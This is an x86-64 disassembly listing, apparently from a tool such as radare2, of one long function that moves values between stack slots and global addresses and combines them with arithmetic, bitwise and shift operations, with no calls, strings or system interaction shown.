mov ecx, dword [rsp + 0x4214]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0xa798]
mov eax, dword [rax]
mov dword [rsp + 0x4220], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa5b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa920]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x41c0]
shl eax, cl
mov dword [rsp + 0x4218], eax
mov rax, qword [rsp + 0xa680]
mov eax, dword [rax]
mov dword [rsp + 0x4224], eax
movzx eax, byte [rsp + 0x154]
movzx ecx, byte [rsp + 0x155]
add eax, ecx
mov byte [rsp + 0x14e], al
movzx eax, word [rsp + 0xec8]
mov word [0x14019d850], ax
mov eax, dword [rsp + 0x41e0]
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0xa6b8]
mov ecx, dword [rsp + 0x421c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa740]
mov ecx, dword [0x14019bf20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov dword [rsp + 0x422c], eax
mov rax, qword [rsp + 0xa8c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa500]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0xa970], rax
movsx eax, word [0x14019beec]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov word [rsp + 0xee0], ax
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x16f], al
mov eax, dword [rsp + 0x41a4]
mov ecx, dword [rsp + 0x41b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d820]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41b8]
mov ecx, dword [rsp + 0x4088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa890]
mov byte [rcx], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov word [rsp + 0xf1c], ax
mov rax, qword [0x14019d7d8]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
mov dword [rsp + 0x4230], eax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4170], eax
mov rax, qword [rsp + 0xa8a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa978], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa978]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
mov byte [rsp + 0x170], al
movzx eax, word [rsp + 0xebc]
mov rcx, qword [0x14019d810]
movzx ecx, word [rcx]
shl eax, cl
mov word [str.a_t_nJ], ax
mov eax, dword [rsp + 0x41f8]
mov ecx, dword [rsp + 0x41c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa840]
mov dword [rcx], eax
lea rax, [rsp + 0x4218]
mov qword [rsp + 0xa980], rax
mov eax, dword [rsp + 0x417c]
mov ecx, dword [rsp + 0x41bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4168]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7c8]
mov ecx, dword [rsp + 0x4218]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3400], eax
mov rax, qword [rsp + 0xa7a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa638]
mov byte [rcx], al
mov rax, qword [rsp + 0xa928]
movzx eax, word [rax]
mov word [rsp + 0xf20], ax
movzx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe20], ax
mov rax, qword [0x14019d7c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa968]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x4058]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41d8], eax
movzx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0xa8a0]
mov ecx, dword [0x14019d7e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b4], eax
lea rax, [rsp + 0x41e0]
mov qword [rsp + 0xa988], rax
mov eax, dword [rsp + 0x41e4]
mov ecx, dword [rsp + 0x41d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4198], eax
lea rax, [rsp + 0x168]
mov qword [0x14019d858], rax
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0xa870]
mov ecx, dword [rsp + 0x4148]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa708]
mov dword [rcx], eax
lea rax, [0x14019bee8]
mov qword [rsp + 0xa998], rax
mov rax, qword [rsp + 0xa900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa7d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa860]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
shl eax, cl
mov rcx, qword [rsp + 0xa5d0]
mov word [rcx], ax
lea rax, [rsp + 0x158]
mov qword [rsp + 0xa9a0], rax
movzx eax, word [rsp + 0xee4]
movzx ecx, word [rsp + 0xed4]
xor eax, ecx
mov word [rsp + 0xec8], ax
mov eax, dword [rsp + 0x41e8]
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0xa668]
mov eax, dword [rax]
mov ecx, dword [0x14019d830]
or ecx, eax
mov eax, ecx
mov dword [0x14019bef8], eax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x41c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa758]
mov ecx, dword [rsp + 0x4214]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
lea rax, [rsp + 0x3c48]
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
mov word [rsp + 0xf28], ax
mov rax, qword [0x14019d808]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x41cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa998]
mov ecx, dword [rsp + 0x3d34]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf2c], eax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x162]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [0x14019d810]
movzx eax, word [rax]
mov word [rsp + 0xf2c], ax
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xf20]
sub eax, ecx
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
lea rax, [rsp + 0x166]
mov qword [rsp + 0xa9b0], rax
mov rax, qword [rsp + 0xa8c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4130]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x422c], eax
mov rax, qword [rsp + 0xa598]
mov ecx, dword [rsp + 0x415c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x41cc], eax
movzx eax, byte [rsp + 0x162]
mov byte [rsp + 0x171], al
movzx eax, word [rsp + 0xec0]
mov rcx, qword [0x14019d838]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0xa870]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019bef4], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x421c]
sar eax, cl
mov dword [rsp + 0x3af4], eax
mov rax, qword [rsp + 0xa6f8]
mov ecx, dword [rsp + 0x41cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0x41e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4018], eax
lea rax, [rsp + 0x15b]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xef0], ax
mov eax, dword [rsp + 0x3c48]
mov dword [rsp + 0x4240], eax
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4144]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4184], eax
mov eax, dword [rsp + 0x41e0]
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa8a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019d7d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [rsp + 0xa8e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41c8], eax
mov rax, qword [rsp + 0xa8b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa638]
mov byte [rcx], al
movzx eax, word [rsp + 0xed8]
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
add eax, ecx
mov rcx, qword [rsp + 0xa940]
mov byte [rcx], al
movzx eax, word [rsp + 0xed4]
mov word [rsp + 0xf34], ax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0xa740]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xa9c0], rax
lea rax, [rsp + 0xf00]
mov qword [0x14019d860], rax
mov eax, dword [rsp + 0x41ac]
mov ecx, dword [rsp + 0x4190]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4000]
mov dword [rsp + 0x4248], eax
mov rax, qword [rsp + 0xa920]
mov rcx, qword [rsp + 0xa820]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
mov eax, dword [0x14019bef4]
movzx ecx, al
mov eax, dword [rsp + 0x41d0]
shl eax, cl
mov dword [rsp + 0x3418], eax
movzx eax, byte [rsp + 0x161]
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0xf34]
movzx ecx, word [rsp + 0xe20]
sar eax, cl
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0xa980]
mov eax, dword [rax]
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x3cbc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
lea rax, [rsp + 0xed8]
mov qword [0x14019d868], rax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14d], al
lea rax, [rsp + 0xed4]
mov qword [rsp + 0xa9c8], rax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x163], al
mov eax, dword [rsp + 0x3ffc]
mov dword [rsp + 0x4250], eax
mov rax, qword [0x14019d820]
mov rcx, qword [rsp + 0xa748]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0xa680]
mov ecx, dword [rsp + 0x4144]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0xa810]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
mov byte [rsp + 0x173], al
movzx eax, word [rsp + 0xef8]
mov word [0x14019d870], ax
mov eax, dword [rsp + 0x4228]
mov ecx, dword [0x14019d834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a4], eax
lea rax, [rsp + 0x41a0]
mov qword [rsp + 0xa9d0], rax
mov eax, dword [0x14019befc]
mov ecx, dword [rsp + 0x4200]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa980]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [rsp + 0xa798]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0xa9d8], rax
movzx eax, word [rsp + 0xef8]
movzx ecx, word [0x14019d7b0]
or eax, ecx
mov word [rsp + 0xf24], ax
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xa9e0], rax
movsx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xecc], ax
mov eax, dword [0x14019bf10]
mov rcx, qword [rsp + 0xa778]
mov qword [rsp + 0xa9e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14019d7f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x415c]
mov rcx, qword [rsp + 0xa6f8]
mov qword [rsp + 0xa9f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9f0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa6b8]
mov dword [rcx], eax
lea rax, [rsp + 0xed4]
mov qword [rsp + 0xa9f8], rax
movzx eax, byte [rsp + 0x160]
mov rcx, qword [0x14019d7c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x155], al
lea rax, [rsp + 0x41a8]
mov qword [rsp + 0xaa00], rax
mov rax, qword [rsp + 0xa6a8]
mov ecx, dword [rsp + 0x41ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [0x14019d828]
mov rcx, qword [rsp + 0xa9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3400], eax
mov eax, dword [rsp + 0x4198]
mov dword [rsp + 0x4254], eax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x164]
add eax, ecx
mov rcx, qword [rsp + 0xa8e0]
mov byte [rcx], al
lea rax, [0x14019d850]
mov qword [0x14019d878], rax
mov eax, dword [rsp + 0x4244]
mov dword [rsp + 0x4258], eax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4178]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa950]
mov dword [rcx], eax
lea rax, [rsp + 0x4204]
mov qword [rsp + 0xaa08], rax
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [0x14019d830]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d4], eax
mov rax, qword [rsp + 0xaa08]
mov ecx, dword [rsp + 0x3b8c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x174], al
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0xa7f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa6b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov byte [rsp + 0x175], al
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0xa730]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d860]
mov word [rcx], ax
mov eax, dword [rsp + 0x4194]
movzx ecx, al
mov eax, dword [rsp + 0x4130]
shr eax, cl
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x418c]
movzx ecx, al
mov eax, dword [rsp + 0x422c]
shl eax, cl
mov dword [rsp + 0x4234], eax
mov rax, qword [0x14019d7a0]
movzx eax, byte [rax]
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa9f8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa868]
mov word [rcx], ax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [0x14019d7d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
lea rax, [rsp + 0x3400]
mov qword [rsp + 0xaa18], rax
lea rax, [rsp + 0x172]
mov qword [0x14019d880], rax
mov rax, qword [rsp + 0xa898]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf08]
and eax, ecx
mov word [rsp + 0xf04], ax
mov eax, dword [rsp + 0x41d8]
mov dword [rsp + 0x425c], eax
mov rax, qword [rsp + 0xa960]
mov ecx, dword [rsp + 0x41f4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
lea rax, [0x14019900b]
mov qword [rsp + 0xaa20], rax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xee0]
sub eax, ecx
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
movzx ecx, word [0x14019d850]
add eax, ecx
mov rcx, qword [rsp + 0xa990]
mov word [rcx], ax
lea rax, [rsp + 0x15b]
mov qword [rsp + 0xaa28], rax
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x4244]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov dword [rcx], eax
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf30], eax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov dword [rsp + 0x4260], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4194]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d8], eax
mov rax, qword [rsp + 0xa820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
movzx eax, word [rsp + 0xed0]
movzx ecx, word [rsp + 0xf1c]
and eax, ecx
mov word [rsp + 0xcec], ax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
or eax, ecx
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
lea rax, [0x14019d790]
mov qword [rsp + 0xaa30], rax
mov eax, dword [rsp + 0x420c]
mov rcx, qword [rsp + 0xa798]
mov qword [rsp + 0xaa38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0xa7a0]
mov ecx, dword [0x14019d830]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa5c8]
mov qword [rsp + 0xaa40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa40]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019bee8], eax
mov rax, qword [rsp + 0xa9b8]
movzx eax, byte [rax]
mov byte [rsp + 0x177], al
movzx eax, word [rsp + 0xed4]
mov rcx, qword [0x14019d860]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa640]
mov word [rcx], ax
movzx eax, byte [rsp + 0x169]
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0xa798]
mov rcx, qword [0x14019d7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4018], eax
lea rax, [rsp + 0x4254]
mov qword [rsp + 0xaa48], rax
mov rax, qword [rsp + 0xa8c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov byte [rsp + 0x179], al
lea rax, [rsp + 0x4130]
mov qword [0x14019d888], rax
mov rax, qword [rsp + 0xa938]
mov rcx, qword [rsp + 0xa698]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa6c8]
mov dword [rcx], eax
lea rax, [rsp + 0x417c]
mov qword [rsp + 0xaa50], rax
mov eax, dword [rsp + 0x422c]
mov ecx, dword [0x14019d834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f8], eax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
add eax, ecx
mov rcx, qword [rsp + 0xa730]
mov word [rcx], ax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xaa58], rax
mov rax, qword [0x14019d808]
mov rcx, qword [rsp + 0xa6e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41a8], eax
mov eax, dword [rsp + 0x41c0]
mov dword [rsp + 0x4264], eax
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x425c], eax
mov rax, qword [rsp + 0xa830]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d7e0], eax
mov rax, qword [rsp + 0xaa30]
mov rcx, qword [rsp + 0xaa00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x16c]
mov byte [rsp + 0x17a], al
movsx eax, word [0x14019beec]
movsx ecx, word [rsp + 0xee0]
xor eax, ecx
mov rcx, qword [rsp + 0xa688]
mov word [rcx], ax
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x17b], al
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf24]
sar eax, cl
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0xa5f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x422c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f8], eax
mov eax, dword [rsp + 0x3bf0]
mov dword [rsp + 0x4268], eax
movzx eax, word [rsp + 0xf10]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa868]
mov word [rcx], ax
lea rax, [rsp + 0x177]
mov qword [0x14019d890], rax
lea rax, [rsp + 0x41d8]
mov qword [rsp + 0xaa60], rax
mov eax, dword [rsp + 0x3b8c]
mov ecx, dword [rsp + 0x4224]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4218], eax
mov eax, dword [0x14019d830]
mov dword [rsp + 0x426c], eax
mov rax, qword [rsp + 0xa870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0xa9a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xae4], ax
mov rax, qword [rsp + 0xa6b8]
mov ecx, dword [rsp + 0x41c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
mov eax, dword [0x14019bf20]
mov dword [rsp + 0x4270], eax
lea rax, [rsp + 0xeac]
mov qword [0x14019d898], rax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov rcx, qword [rsp + 0xa7d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa9f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa608]
mov word [rcx], ax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x418c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0xa650]
mov ecx, dword [rsp + 0x4170]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa820]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f4], eax
mov eax, dword [rsp + 0x41e4]
mov dword [rsp + 0x4278], eax
movzx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0xa9d8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa570]
mov byte [rcx], al
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d7b0], ax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov dword [rsp + 0x427c], eax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa9a8]
mov qword [rsp + 0xaa68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa718]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa08]
mov ecx, dword [rsp + 0x4208]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa938]
mov dword [rcx], eax
mov rax, qword [0x14019d888]
mov eax, dword [rax]
mov dword [rsp + 0x4280], eax
movzx eax, byte [rsp + 0x156]
movzx ecx, byte [rsp + 0x17c]
add eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov word [rsp + 0xf38], ax
